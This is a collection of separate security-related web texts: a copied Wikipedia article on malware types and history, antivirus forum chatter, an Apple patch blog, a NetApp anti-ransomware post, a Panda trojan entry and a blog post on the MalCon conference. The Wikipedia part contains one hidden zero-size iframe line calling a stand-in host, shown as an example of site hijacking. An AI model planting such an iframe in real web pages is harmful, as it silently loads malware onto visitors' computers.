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1. MalwareFrom Wikipedia, the free encyclopediaJump to: navigation, searchBeast, a Windows-based backdoor Trojan horseMalware, short for malicious software, (sometimes referred to as pestware[1]) is asoftware designed to harm or secretly access a computer system without the ownersinformed consent. The expression is a general term used by computer professionals tomean a variety of forms of hostile, intrusive, or annoying software or program code.[2]Software is considered to be malware based on the perceived intent of the creatorrather than any particular features. Malware includes computer viruses, worms, trojanhorses, spyware, dishonest adware, scareware, crimeware, most rootkits, and othermalicious and unwanted software or program. In law, malware is sometimes known asa computer contaminant, for instance in the legal codes of several U.S. states,including California and West Virginia.[3][4]Preliminary results from Symantec published in 2008 suggested that "the release rateof malicious code and other unwanted programs may be exceeding that of legitimatesoftware applications. "[5] According to F-Secure, "As much malware [was] producedin 2007 as in the previous 20 years altogether. "[6] Malwares most common pathwayfrom criminals to users is through the Internet: primarily by e-mail and the WorldWide Web.[7]The prevalence of malware as a vehicle for organized Internet crime, along with thegeneral inability of traditional anti-malware protection platforms (products) to protectagainst the continuous stream of unique and newly produced malware, has seen theadoption of a new mindset for businesses operating on the Internet: theacknowledgment that some sizable percentage of Internet customers will always beinfected for some reason or another, and that they need to continue doing businesswith infected customers. The result is a greater emphasis on back-office systemsdesigned to spot fraudulent activities associated with advanced malware operating oncustomers computers.[8]On March 29, 2010, Symantec Corporation named Shaoxing, China, as the worldsmalware capital.[9] 2. Malware is not the same as defective software, that is, software that has a legitimatepurpose but contains harmful bugs. Sometimes, malware is disguised as genuinesoftware, and may come from an official site. Therefore, some security programs,such as McAfee may call malware "potentially unwanted programs" or "PUP". Though a computer virus is malware that can reproduce itself, the term is often usederroneously to refer to the entire category. Contents[hide] • 1 Purposes • 2 Infectious malware: viruses and worms o 2.1 Capsule history of viruses and worms • 3 Concealment: Trojan horses, rootkits, and backdoors o 3.1 Trojan horses o 3.2 Rootkits o 3.3 Backdoors • 4 Malware for profit: spyware, botnets, keystroke loggers, and dialers • 5 Data-stealing malware o 5.1 Characteristics of data-stealing malware o 5.2 Examples of data-stealing malware o 5.3 Data-stealing malware incidents • 6 Controversy about assignment to spyware • 7 Vulnerability to malware o 7.1 Eliminating over-privileged code • 8 Anti-malware programs • 9 Academic research on malware: a brief overview • 10 Grayware • 11 Web and spam o 11.1 Wikis and blogs o 11.2 Targeted SMTP threats o 11.3 HTTP and FTP • 12 See also • 13 References • 14 External linksPurposes 3. Malware by categories on March 16, 2011.Many early infectious programs, including the first Internet Worm and a number ofMS-DOS viruses, were written as experiments or pranks. They were generallyintended to be harmless or merely annoying, rather than to cause serious damage tocomputer systems. In some cases, the perpetrator did not realize how much harm hisor her creations would do. Young programmers learning about viruses and theirtechniques wrote them simply for practice, or to see how far they could spread. Aslate as 1999, widespread viruses such as the Melissa virus and the David virus appearto have been written chiefly as pranks. The first mobile phone virus, Cabir, appearedin 2004.Hostile intent related to vandalism can be found in programs designed to cause harmor data loss. Many DOS viruses, and the Windows ExploreZip worm, were designedto destroy files on a hard disk, or to corrupt the file system by writing invalid data tothem. Network-borne worms such as the 2001 Code Red worm or the Ramen wormfall into the same category. Designed to vandalize web pages, worms may seem likethe online equivalent to graffiti tagging, with the authors alias or affinity groupappearing everywhere the worm goes.[citation needed]Since the rise of widespread broadband Internet access, malicious software has beendesigned for a profit, for examples forced advertising. For instance, since 2003, themajority of widespread viruses and worms have been designed to take control ofusers computers for black-market exploitation.[10] Infected "zombie computers" areused to send email spam, to host contraband data such as child pornography [11], or toengage in distributed denial-of-service attacks as a form of extortion.[12]Another strictly for-profit category of malware has emerged in spyware -- programsdesigned to monitor users web browsing, display unsolicited advertisements, orredirect affiliate marketing revenues to the spyware creator. Spyware programs do notspread like viruses; they are, in general, installed by exploiting security holes or arepackaged with user-installed software, such as peer-to-peer applications. Infectious malware: viruses and wormsMain articles: Computer virus and Computer wormThe best-known types of malware, viruses and worms, are known for the manner inwhich they spread, rather than any other particular behavior. The term computer virus 4. is used for a program that has infected some executable software and, when run,causes the virus to spread to other executables. Viruses may also contain a payloadthat performs other actions, often malicious. On the other hand, a worm is a programthat actively transmits itself over a network to infect other computers. It too may carrya payload. These definitions lead to the observation that a virus requires user intervention tospread, whereas a worm spreads itself automatically. Using this distinction, infectionstransmitted by email or Microsoft Word documents, which rely on the recipientopening a file or email to infect the system, would be classified as viruses rather thanworms. Some writers in the trade and popular press misunderstand this distinction and use theterms interchangeably. Capsule history of viruses and wormsBefore Internet access became widespread, viruses spread on personal computers byinfecting the executable boot sectors of floppy disks. By inserting a copy of itself intothe machine code instructions in these executables, a virus causes itself to be runwhenever a program is run or the disk is booted. Early computer viruses were writtenfor the Apple II and Macintosh, but they became more widespread with thedominance of the IBM PC and MS-DOS system. Executable-infecting viruses aredependent on users exchanging software or boot-able floppies, so they spread rapidlyin computer hobbyist circles. The first worms, network-borne infectious programs, originated not on personalcomputers, but on multitasking Unix systems. The first well-known worm was theInternet Worm of 1988, which infected SunOS and VAX BSD systems. Unlike avirus, this worm did not insert itself into other programs. Instead, it exploited securityholes (vulnerabilities) in network server programs and started itself running as aseparate process. This same behaviour is used by todays worms as well. With the rise of the Microsoft Windows platform in the 1990s, and the flexiblemacros of its applications, it became possible to write infectious code in the macrolanguage of Microsoft Word and similar programs. These macro viruses infectdocuments and templates rather than applications (executables), but rely on the factthat macros in a Word document are a form of executable code. Today, worms are most commonly written for the Windows OS, although a few likeMare-D[13] and the Lion worm are also written for Linux and Unix systems. Wormstoday work in the same basic way as 1988s Internet Worm: they scan the network andleverage vulnerable computers to replicate. Because they need no human intervention,worms can spread with incredible speed. The SQL Slammer infected thousands ofcomputers in a few minutes. Concealment: Trojan horses, rootkits, and backdoors 5. Main articles: Trojan horse (computing), Rootkit, and Backdoor (computing)Trojan horsesFor a malicious program to accomplish its goals, it must be able to run without beingshut down, or deleted by the user or administrator of the computer system on which itis running. Concealment can also help get the malware installed in the first place. When a malicious program is disguised as something innocuous or desirable, usersmay be tempted to install it without knowing what it does. This is the technique of theTrojan horse or trojan. In broad terms, a Trojan horse is any program that invites the user to run it,concealing a harmful or malicious payload. The payload may take effect immediatelyand can lead to many undesirable effects, such as deleting the users files or furtherinstalling malicious or undesirable software. Trojan horses known as droppers areused to start off a worm outbreak, by injecting the worm into users local networks. One of the most common ways that spyware is distributed is as a Trojan horse,bundled with a piece of desirable software that the user downloads from the Internet. When the user installs the software, the spyware is installed alongside. Spywareauthors who attempt to act in a legal fashion may include an end-user licenseagreement that states the behavior of the spyware in loose terms, which the users areunlikely to read or understand. RootkitsOnce a malicious program is installed on a system, it is essential that it staysconcealed, to avoid detection and disinfection. The same is true when a humanattacker breaks into a computer directly. Techniques known as rootkits allow thisconcealment, by modifying the hosts operating system so that the malware is hiddenfrom the user. Rootkits can prevent a malicious process from being visible in thesystems list of processes, or keep its files from being read. Originally, a rootkit was aset of tools installed by a human attacker on a Unix system, allowing the attacker togain administrator (root) access. Today, the term is used more generally forconcealment routines in a malicious program. Some malicious programs contain routines to defend against removal, not merely tohide themselves, but to repel attempts to remove them. An early example of thisbehavior is recorded in the Jargon File tale of a pair of programs infesting a XeroxCP-V time sharing system: Each ghost-job would detect the fact that the other had been killed, and would start a new copy of the recently slain program within a few milliseconds. The only way to kill both ghosts was to kill them simultaneously (very difficult) or to deliberately crash the system.[16]Similar techniques are used by some modern malware, wherein the malware starts anumber of processes that monitor and restore one another as needed. In the event auser running Microsoft Windows is infected with such malware, if they wish tomanually stop it, they could use Task Managers processes tab to find the main 6. process (the one that spawned the "resurrector process(es)"), and use the end processtree function, which would kill not only the main process, but the "resurrector(s)" aswell, since they were started by the main process. Some malware programs use othertechniques, such as naming the infected file similar to a legitimate or trustworthy file(expl0rer.exe VS explorer.exe).BackdoorsA backdoor is a method of bypassing normal authentication procedures. Once asystem has been compromised (by one of the above methods, or in some other way),one or more backdoors may be installed in order to allow easier access in the future. Backdoors may also be installed prior to malicious software, to allow attackers entry. The idea has often been suggested that computer manufacturers preinstall backdoorson their systems to provide technical support for customers, but this has never beenreliably verified. Crackers typically use backdoors to secure remote access to acomputer, while attempting to remain hidden from casual inspection. To installbackdoors crackers may use Trojan horses, worms, or other methods. Malware for profit: spyware, botnets, keystrokeloggers, and dialersMain articles: Spyware, Botnet, Keystroke logging, Web threats, and DialerDuring the 1980s and 1990s, it was usually taken for granted that malicious programswere created as a form of vandalism or prank. More recently, the greater share ofmalware programs have been written with a profit motive (financial or otherwise) inmind. This can be taken as the malware authors choice to monetize their control overinfected systems: to turn that control into a source of revenue. Spyware programs are commercially produced for the purpose of gatheringinformation about computer users, showing them pop-up ads, or altering web-browserbehavior for the financial benefit of the spyware creator. For instance, some spywareprograms redirect search engine results to paid advertisements. Others, often called"stealware" by the media, overwrite affiliate marketing codes so that revenue isredirected to the spyware creator rather than the intended recipient. Spyware programs are sometimes installed as Trojan horses of one sort or another. They differ in that their creators present themselves openly as businesses, for instanceby selling advertising space on the pop-ups created by the malware. Most suchprograms present the user with an end-user license agreement that purportedlyprotects the creator from prosecution under computer contaminant laws. However,spyware EULAs have not yet been upheld in court. Another way that financially motivated malware creators can profit from theirinfections is to directly use the infected computers to do work for the creator. Theinfected computers are used as proxies to send out spam messages. A computer left inthis state is often known as a zombie computer. The advantage to spammers of usinginfected computers is they provide anonymity, protecting the spammer from 7. prosecution. Spammers have also used infected PCs to target anti-spam organizationswith distributed denial-of-service attacks. In order to coordinate the activity of many infected computers, attackers have usedcoordinating systems known as botnets. In a botnet, the malware or malbot logs in toan Internet Relay Chat channel or other chat system. The attacker can then giveinstructions to all the infected systems simultaneously. Botnets can also be used topush upgraded malware to the infected systems, keeping them resistant to antivirussoftware or other security measures. It is possible for a malware creator to profit by stealing sensitive information from avictim. Some malware programs install a key logger, which intercepts the userskeystrokes when entering a password, credit card number, or other information thatmay be exploited. This is then transmitted to the malware creator automatically,enabling credit card fraud and other theft. Similarly, malware may copy the CD key orpassword for online games, allowing the creator to steal accounts or virtual items. Another way of stealing money from the infected PC owner is to take control of adial-up modem and dial an expensive toll call. Dialer (or porn dialer) software dialsup a premium-rate telephone number such as a U.S. "900 number" and leave the lineopen, charging the toll to the infected user. Data-stealing malwareData-stealing malware is a web threat that divests victims of personal and proprietaryinformation with the intent of monetizing stolen data through direct use orunderground distribution. Content security threats that fall under this umbrella includekeyloggers, screen scrapers, spyware, adware, backdoors, and bots. The term does notrefer to activities such as spam, phishing, DNS poisoning, SEO abuse, etc. However,when these threats result in file download or direct installation, as most hybrid attacksdo, files that act as agents to proxy information will fall into the data-stealing malwarecategory. Characteristics of data-stealing malwareDoes not leave traces of the event • The malware is typically stored in a cache that is routinely flushed • The malware may be installed via a drive-by-download process • The website hosting the malware as well as the malware is generally temporary or rogueFrequently changes and extends its functions • It is difficult for antivirus software to detect final payload attributes due to the combination(s) of malware components • The malware uses multiple file encryption levelsThwarts Intrusion Detection Systems (IDS) after successful installation 8. • There are no perceivable network anomalies • The malware hides in web traffic • The malware is stealthier in terms of traffic and resource useThwarts disk encryption • Data is stolen during decryption and display • The malware can record keystrokes, passwords, and screenshotsThwarts Data Loss Prevention (DLP) • Leakage protection hinges on metadata tagging, not everything is tagged • Miscreants can use encryption to port dataExamples of data-stealing malware • Bancos, an info stealer that waits for the user to access banking websites then spoofs pages of the bank website to steal sensitive information. • Gator, spyware that covertly monitors web-surfing habits, uploads data to a server for analysis then serves targeted pop-up ads. • LegMir, spyware that steals personal information such as account names and passwords related to online games. • Qhost, a Trojan that modifies the Hosts file to point to a different DNS server when banking sites are accessed then opens a spoofed login page to steal login credentials for those financial institutions. Data-stealing malware incidents • Albert Gonzalez (not to be confused with the U.S. Attorney General Alberto Gonzalez) is accused of masterminding a ring to use malware to steal and sell more than 170 million credit card numbers in 2006 and 2007—the largest computer fraud in history. Among the firms targeted were BJs Wholesale Club, TJX, DSW Shoe, OfficeMax, Barnes & Noble, Boston Market, Sports Authority and Forever 21.[17] • A Trojan horse program stole more than 1.6 million records belonging to several hundred thousand people from Monster Worldwide Inc’s job search service. The data was used by cybercriminals to craft phishing emails targeted at Monster.com users to plant additional malware on users’ PCs. • Customers of Hannaford Bros. Co, a supermarket chain based in Maine, were victims of a data security breach involving the potential compromise of 4.2 million debit and credit cards. The company was hit by several class-action law suits. • The Torpig Trojan has compromised and stolen login credentials from approximately 250,000 online bank accounts as well as a similar number of credit and debit cards. Other information such as email, and FTP accounts from numerous websites, have also been compromised and stolen.[20]Controversy about assignment to spyware 9. There is a group of software (Alexa toolbar, Google toolbar, Eclipse data usagecollector, etc) that send data to a central server about which pages have been visited orwhich features of the software have been used. However differently from "classic"malware these tools document activities and only send data with the users approval. The user may opt in to share the data in exchange to the additional features andservices, or (in case of Eclipse) as the form of voluntary support for the project. Somesecurity tools report such loggers as malware while others do not. The status of thegroup is questionable. Some tools like PDFCreator are more on the boundary thanothers because opting out has been made more complex than it could be (during theinstallation, the user needs to uncheck two check boxes rather than one). Howeveralso PDFCreator is only sometimes mentioned as malware and is still subject ofdiscussions. Vulnerability to malwareMain article: Vulnerability (computing)In this context, as throughout, it should be borne in mind that the “system” underattack may be of various types, e.g. a single computer and operating system, anetwork or an application. Various factors make a system more vulnerable to malware: • Homogeneity: e.g. when all computers in a network run the same OS, upon exploiting one, one can exploit them all. • Weight of numbers: simply because the vast majority of existing malware is written to attack Windows systems, then Windows systems, ipso facto, are more vulnerable to succumbing to malware (regardless of the security strengths or weaknesses of Windows itself). • Defects: malware leveraging defects in the OS design. • Unconfirmed code: code from a floppy disk, CD-ROM or USB device may be executed without the user’s agreement. • Over-privileged users: some systems allow all users to modify their internal structures. • Over-privileged code: some systems allow code executed by a user to access all rights of that user. An oft-cited cause of vulnerability of networks is homogeneity or softwaremonoculture.[21] For example, Microsoft Windows or Apple Mac have such a largeshare of the market that concentrating on either could enable a cracker to subvert alarge number of systems, but any total monoculture is a problem. Instead, introducinginhomogeneity (diversity), purely for the sake of robustness, could increase short-termcosts for training and maintenance. However, having a few diverse nodes would detertotal shutdown of the network, and allow those nodes to help with recovery of theinfected nodes. Such separate, functional redundancy would avoid the cost of a totalshutdown, would avoid homogeneity as the problem of "all eggs in one basket". Most systems contain bugs, or loopholes, which may be exploited by malware. Atypical example is the buffer-overrun weakness, in which an interface designed to 10. store data, in a small area of memory, allows the caller to supply more data than willfit. This extra data then overwrites the interfaces own executable structure (past theend of the buffer and other data). In this manner, malware can force the system toexecute malicious code, by replacing legitimate code with its own payload ofinstructions (or data values) copied into live memory, outside the buffer area. Originally, PCs had to be booted from floppy disks, and until recently it was commonfor this to be the default boot device. This meant that a corrupt floppy disk couldsubvert the computer during booting, and the same applies to CDs. Although that isnow less common, it is still possible to forget that one has changed the default, andrare that a BIOS makes one confirm a boot from removable media. In some systems, non-administrator users are over-privileged by design, in the sensethat they are allowed to modify internal structures of the system. In someenvironments, users are over-privileged because they have been inappropriatelygranted administrator or equivalent status. This is primarily a configuration decision,but on Microsoft Windows systems the default configuration is to over-privilege theuser. This situation exists due to decisions made by Microsoft to prioritizecompatibility with older systems above security configuration in newer systems[citationneeded] and because typical applications were developed without the under-privilegedusers in mind. As privilege escalation exploits have increased this priority is shiftingfor the release of Microsoft Windows Vista. As a result, many existing applicationsthat require excess privilege (over-privileged code) may have compatibility problemswith Vista. However, Vistas User Account Control feature attempts to remedyapplications not designed for under-privileged users, acting as a crutch to resolve theprivileged access problem inherent in legacy applications. Malware, running as over-privileged code, can use this privilege to subvert thesystem. Almost all currently popular operating systems, and also many scriptingapplications allow code too many privileges, usually in the sense that when a userexecutes code, the system allows that code all rights of that user. This makes usersvulnerable to malware in the form of e-mail attachments, which may or may not bedisguised. Given this state of affairs, users are warned only to open attachments they trust, and tobe wary of code received from untrusted sources. It is also common for operatingsystems to be designed so that device drivers need escalated privileges, while they aresupplied by more and more hardware manufacturers. Eliminating over-privileged codeOver-privileged code dates from the time when most programs were either deliveredwith a computer or written in-house, and repairing it would at a stroke render mostantivirus software almost redundant. It would, however, have appreciableconsequences for the user interface and system management. The system would have to maintain privilege profiles, and know which to apply foreach user and program. In the case of newly installed software, an administratorwould need to set up default profiles for the new code.
11. Eliminating vulnerability to rogue device drivers is probably harder than for arbitraryrogue executables. Two techniques, used in VMS, that can help are memory mappingonly the registers of the device in question and a system interface associating thedriver with interrupts from the device. Other approaches are: • Various forms of virtualization, allowing the code unlimited access only to virtual resources • Various forms of sandbox or jail • The security functions of Java, in java.securitySuch approaches, however, if not fully integrated with the operating system, wouldreduplicate effort and not be universally applied, both of which would be detrimentalto security. Anti-malware programsMain article: Antivirus softwareAs malware attacks become more frequent, attention has begun to shift from virusesand spyware protection, to malware protection, and programs have been developed tospecifically combat them. Anti-malware programs can combat malware in two ways: 1. They can provide real time protection against the installation of malware software on a computer. This type of spyware protection works the same way as that of antivirus protection in that the anti-malware software scans all incoming network data for malware software and blocks any threats it comes across. 2. Anti-malware software programs can be used solely for detection and removal of malware software that has already been installed onto a computer. This type of malware protection is normally much easier to use and more popular.[citation needed] This type of anti-malware software scans the contents of the Windows registry, operating system files, and installed programs on a computer and will provide a list of any threats found, allowing the user to choose which files to delete or keep, or to compare this list to a list of known malware components, removing files that match. Real-time protection from malware works identically to real-time antivirus protection:the software scans disk files at download time, and blocks the activity of componentsknown to represent malware. In some cases, it may also intercept attempts to installstart-up items or to modify browser settings. Because many malware components areinstalled as a result of browser exploits or user error, using security software (some ofwhich are anti-malware, though many are not) to "sandbox" browsers (essentiallybabysit the user and their browser) can also be effective in helping to restrict anydamage done.
12. Academic research on malware: a brief overviewThe notion of a self-reproducing computer program can be traced back to whenpresented lectures that encompassed the theory and organization of complicatedautomata.[22] Neumann showed that in theory a program could reproduce itself. Thisconstituted a plausibility result in computability theory. Fred Cohen experimentedwith computer viruses and confirmed Neumanns postulate. He also investigated otherproperties of malware (detectability, self-obfuscating programs that used rudimentaryencryption that he called "evolutionary", and so on). His 1988 doctoral dissertationwas on the subject of computer viruses.[23] Cohens faculty advisor, Leonard Adleman(the A in RSA) presented a rigorous proof that, in the general case, algorithmicallydetermining whether a virus is or is not present is Turing undecidable.[24 ] Thisproblem must not be mistaken for that of determining, within a broad class ofprograms, that a virus is not present; this problem differs in that it does not require theability to recognize all viruses. Adlemans proof is perhaps the deepest result inmalware computability theory to date and it relies on Cantors diagonal argument aswell as the halting problem. Ironically, it was later shown by Young and Yung thatAdlemans work in cryptography is ideal in constructing a virus that is highly resistantto reverse-engineering by presenting the notion of a cryptovirus.[25] A cryptovirus is avirus that contains and uses a public key and randomly generated symmetric cipherinitialization vector (IV) and session key (SK). In the cryptoviral extortion attack, thevirus hybrid encrypts plaintext data on the victims machine using the randomlygenerated IV and SK. The IV+SK are then encrypted using the virus writers publickey. In theory the victim must negotiate with the virus writer to get the IV+SK backin order to decrypt the ciphertext (assuming there are no backups). Analysis of thevirus reveals the public key, not the IV and SK needed for decryption, or the privatekey needed to recover the IV and SK. This result was the first to show thatcomputational complexity theory can be used to devise malware that is robust againstreverse-engineering. Another growing area of computer virus research is to mathematically model theinfection behavior of worms using models such as Lotka–Volterra equations, whichhas been applied in the study of biological virus. Various virus propagation scenarioshave been studied by researchers such as propagation of computer virus, fightingvirus with virus like predator codes, effectiveness of patching etc. GraywareGrayware[28] (or Greynet) is a general term sometimes used as a classification forapplications that behave in a manner that is annoying or undesirable, and yet lessserious or troublesome than malware.[29] Grayware encompasses spyware, adware,dialers, joke programs, remote access tools, and any other unwelcome files andprograms apart from viruses that are designed to harm the performance of computerson your network. The term has been in use since at least as early as September 2004.[Grayware refers to applications or files that are not classified as viruses or trojanhorse programs, but can still negatively affect the performance of the computers onyour network and introduce significant security risks to your organization.[31] Oftengrayware performs a variety of undesired actions such as irritating users with pop-up 13. windows, tracking user habits and unnecessarily exposing computer vulnerabilities toattack. • Spyware is software that installs components on a computer for the purpose of recording Web surfing habits (primarily for marketing purposes). Spyware sends this information to its author or to other interested parties when the computer is online. Spyware often downloads with items identified as free downloads and does not notify the user of its existence or ask for permission to install the components. The information spyware components gather can include user keystrokes, which means that private information such as login names, passwords, and credit card numbers are vulnerable to theft. • Adware is software that displays advertising banners on Web browsers such as Internet Explorer and Mozilla Firefox. While not categorized as malware, many users consider adware invasive. Adware programs often create unwanted effects on a system, such as annoying popup ads and the general degradation in either network connection or system performance. Adware programs are typically installed as separate programs that are bundled with certain free software. Many users inadvertently agree to installing adware by accepting the End User License Agreement (EULA) on the free software. Adware are also often installed in tandem with spyware programs. Both programs feed off each others functionalities: spyware programs profile users Internet behavior, while adware programs display targeted ads that correspond to the gathered user profile. Web and spam<iframe src="http://example.net/out.ph p?s_id=11" width=0 height=0 />If an intruder can gain access to a website, it can be hijacked with a single HTML element.[32]The World Wide Web is a criminals preferred pathway for spreading malware. Todays web threats use combinations of malware to create infection chains. Aboutone in ten Web pages may contain malicious code.[33]Wikis and blogsAttackers may use wikis and blogs to advertise links that lead to malware sites.[34]Wiki and blog servers can also be attacked directly. Just in 2010, Network Solutionshas been hacked and some sites hosting in there became a path to malware and spam. Targeted SMTP threatsTargeted SMTP threats also represent an emerging attack vector through whichmalware is propagated. As users adapt to widespread spam attacks, cybercriminalsdistribute crimeware to target one specific organization or industry, often for financialgain. HTTP and FTP 14. Infections via "drive-by" download are spread through the Web over HTTP and FTPwhen resources containing spurious keywords are indexed by legitimate searchengines, as well as when JavaScript is surreptitiously added to legitimate websites andadvertising networks. | https://www.slideshare.net/zelkan19/malware-7339635 |
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To be fair, FREE version seems to have new interface too and I'll give it a try. Lets see if they removed all the garbage terrible design they had for years.
Ok, so they actually entirely redesigned the interface. Except settings and Luke Filewalker is still there in all its WindowsXP-esque glory. Also all the found "problems" that can't be permanently ignored afterwards are annoying. But it's a step in the right direction. Now stop screwing around AVIRA and transition settings and scanner to the same interface framework. It's been the same for at least 10 years and it looks horrible.
Well strictly from an aesthetic point of view: there are five blocks in each sub-menu, leaving an open space for one more block. This would kind of bug me every time I have to look at it.
It's like your Start Menu in Windows, I simply have to fill the empty spaces with something, or re-configure the sizes, and/or re-size the general area.
It just looks unfinished to me. But the Dark Mode is not bad overall.
When I tested Avira here I was unable to connect to the Internet, even after restarting Windows.
I uninstalling and Internet worked again.
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Where last week finished up with having to patch my Firefox browser with two handfuls of security patches, Apple has released its first batch of security updates for this year. And it's a biggie.
I no more sat down at my system after dinner, and I'm greeted with a 180 MB update through the OS X Software Update feature. It's both an update to Leopard 10.5.2 and more than 10 security fixes.
The majority of the fixes apply to Leopard and Leopard Server.
The fixes include one aimed at the OS's Foundation and prevents a malicious Web URL from allowing renegade code to be launched, or crashing applications. Others include mending a gaffe in Parental Controls, Launch Services, NFS client and server vulnerabilities, as well as issues with X11 X Font Server.
While it's tough to tell which vulnerabilities are the most critical, because Apple doesn't rank its vulnerabilities as clearly as Microsoft, one of the worst vulnerabilities patched appears to be in its Mail client.
According to Apple's advisory, users who click on an especially crafted URL will be hit with code of the attacker's choice: "Affected users accessing a URL in a message may experience an arbitrary code execution. Apple says, "An implementation issue exists in Mail's handling of file:// URLs, which may allow arbitrary applications to be launched without warning when a user clicks a URL in a message. This issue does not affect systems running Mac OS X v10.5 or later."
And all of this fun on the eve of Microsoft's patch Tuesday. I'd better plan on spending some extra time in boot camp tomorrow.
More information from Apple on this evening's update is available here.
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Today’s sophisticated ransomware attacks not only encrypt primary data, they also target secondary backup data. When those attacks are successful, organizations are left with no way to recover. To address this new threat, it’s vitally important to isolate your backup data from production data (air gapping).
Tape backup is a traditional air gap or offline backup method. But tape backup adds operational complexity. It requires a separate tape backup infrastructure—systems to house and manage the tape cartridges. To completely air gap tape, it’s necessary to remove tape from the tape library and store it offsite. However, tape is a volatile medium that can degrade over time, so it’s not ideal for long-term retention.
There are alternatives to tape that use either disk or the cloud to air gap secondary backup targets. Once the backup is complete, the communication is severed. However, when the data is accessed to create that offsite backup copy, that active communication window creates an opportunity for bad actors to access the secondary backup data and encrypt or delete it.
Logical air gapping with Snapshot copies
To eliminate this opportunity and solve the complexity of tape or disk air gapping, logical air gapping can be achieved with immutable NetApp® ONTAP® Snapshot™ copies.
A Snapshot copy is an efficient, point-in-time, read-only copy of your data. The copy represents exactly what your data looked like at the moment that it was taken, whether it was hours, days, weeks, months, or even years ago. Because Snapshot copies are read only, they can’t be infected by ransomware. To recover from a ransomware attack, you can simply restore from a copy that was taken before the attack occurred.
For both tape and disk backup, recovery time depends on network, disk, and tape speed. Generally, recovery takes as long as or longer than the time it took to complete a full backup. Extended recovery time can lead to a significant increase in the overall cost of a ransomware attack, sometimes by as much as 10 times, according to a recent report by Sophos.
Restoring from a Snapshot copy is nearly instantaneous—the ONTAP file system simply updates the active file system pointers to reference the original blocks. Terabytes of data can be restored in seconds because there’s no need for the file system to move the data.
Protecting against deletion, accidental or malicious
One more thing: How do you protect your Snapshot copies from being deleted by administrators? NetApp has you covered with the ultimate solution in logical air gapping of your backups—SnapLock® compliance software.
Snapshot copies can be deleted in several ways: By an administrator through human error, a disgruntled employee, or a bad actor using stolen credentials. NetApp SnapLock protects Snapshot copies by enabling a truly immutable logical air-gapped backup that cannot be deleted. SnapLock is a feature of NetApp ONTAP, a write once, read many (WORM) compliance solution that prevents changes to files once they are written and committed to WORM state.
NetApp released the SnapLock feature more than 10 years ago to address the requirements of data compliance, such as HIPAA, Sarbanes-Oxley, and other regulatory data rules. You can also vault primary Snapshot copies to SnapLock volumes so that the copies can be committed to WORM, preventing deletion. There are two SnapLock license versions: SnapLock Compliance (SLC) and SnapLock Enterprise (SLE). For ransomware protection, NetApp recommends SLC, because you can set a specific retention period during which Snapshot copies are locked and cannot be deleted, even by ONTAP administrators or NetApp support.
Air gapping backups that use traditional methods involve creating space and physically separating the primary and secondary media. By moving the media offsite and/or severing connectivity, bad actors have no access to the data. This protects the data but can lead to slower recovery times. With SnapLock, physical separation is not required. SnapLock protects your vaulted Snapshot point-in-time, read-only copies, resulting in logically air gapped data that is quickly accessible, safe from deletion, and immutable.
Einstein’s relativistic physics is underpinned by the four-dimensional concept of the space-time continuum where space is three dimensions and time adds another dimension. SnapLock uses the fourth dimension of time to create logical air gapping. Welcome to the future of data availability and protection. | https://www.netapp.com/blog/ransomware-protection-snaplock/ |
The thing about it is retards who used it 6 years ago, think they are experts....ie "if you dont Use NOD32 or kaspersky(no doubt by tomorrow they will be fanboys of a different brand) with its windows 95 interface you are an idiot."
The fact that detection rate is great,NIS 2009 intalls in 40 seconds and the footprint(since 2007)matches all and beats most other packages,is and always will be lost on them....because they read a few years ago that is ultracool to slag Norton.
I used to hate Norton.. The '07 product annoyed me, so I fled to BitDefender -- it worked wonders.. until the '09 version of BitDefender came out, it borked my Vista install.
So I was recommended to Norton Internet Security '09.. with hesitation, I installed it. To my surprise, and BitDefender's demise, I loved it. The install was flawless, the protection is awesome.. the footprint is nearly impossible to find, it's an awesome application. Surely worth a shot if you truly hate Norton (really, please try it before you bash it).
I also asked my father (an IT expert) about N360, he said it was crap compared to NIS '09. So I won't bother with it until he says otherwise
And that sums it up really. NIS 2009 is an excellent product. N360 not so good, unless you have 3 kids with laptops... The tool for monitoring if they are secured and upto date is a god send.
Hello, can somebody help me with this Nortons 360 issue, I am running the Windows 7 version 7000 which it seems to run just fine with the exception that when I downloaded the Nortons 360 which was suppose to be configured to Windows 7. The issue is that once it runs for a couple of days it will try to Optimize and clean the Registry but it fails showing Errors on both the Disk Optimizer and the Registry Cleaner.
I have contacted Symantecs about the problem but they claim that they do not have a Windows 7 supported program for Nortons 360.
The thing is when you first install Windows 7 it shows Nortons 360 as 1 of the 4 Virus Programs that will work with Windows 7, AVG has issues also but that is another story.
I just think that if Nortons 360 is advertised as 1 of the programs that will work with Windows 7 then that is what I expect.
I have given up with Norton all together. I've traded them in for Avast! and there is NO issues with W7. I tried Kaspersky with Windows 7 build 7000 & had to completely re-install once the AV asked me to reboot
Me too. I started using Avast years ago and never looked back. Simple, non-resource hog, and very competent. Norton and McAfee are awful; Norton's the worst though. | https://www.sevenforums.com/system-security/2141-beta-norton-360-w7-3.html |
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Passtealer. AG is a Trojan, which although seemingly inoffensive, can actually carry out attacks and intrusions: screenlogging, stealing personal data, etc.
Passtealer. AG prevents access from programs to websites of several companies related with security tools (antivirus programs, firewalls, etc.).
Passtealer. AG redirects attempts to access web pages of certain banks to spoofed pages, with the aim of logging information entered by the user in these pages.
Passtealer. AG redirects attempts to access several web pages to a specific IP address.
Passtealer. AG uses the following propagation or distribution methods:
Exploiting vulnerabilities with the intervention of the user: exploiting vulnerabilities in file formats or applications. To exploit them successfully it needs the intervention of the user: opening files, viewing malicious web pages, reading emails, etc.
Via Internet, exploiting remote vulnerabilities: attacking random IP addresses, in which it tries to insert a copy of itself by exploiting one or more vulnerabilities. | https://www.pandasecurity.com/homeusers/security-info/about-malware/encyclopedia/overview.aspx?idvirus=128674 |
I was pretty bummed this year when I found out that a previous engagement would prevent me from traveling to Las Vegas for the annual back-to-back Black Hat and Defcon security conventions. But I must say I am downright cranky that I will be missing MalCon, a conference being held in Mumbai later this year that is centered around people in the “malcoder community.”
According to the conference Web site, MalCon is “the worlds [sic] first platform bringing together Malware and Information Security Researchers from across the globe to share key research insights into building the next generation malwares. Spread across the world, malcoders now have a common platform to demonstrate expertise, get a new insight and be a part of the global MALCODER community. This conference features keynotes, technical presentations, workshops as well as the EMERGING CHALLENGES of creating undetectable stealthy malware.”
The call for papers shows that this security conference is encouraging malware writers of all shapes, ages and sizes to bring and share their creations. “We are looking for new techniques, tool releases,unique research and about anything that’s breath-taking, related to Malwares. If your presentation, when given with all its valid techno-Jargon can give our moderators a head-ache, you are right up there. The papers and research work could be under any of the broad categories mentioned below. You can submit working malwares as well.”
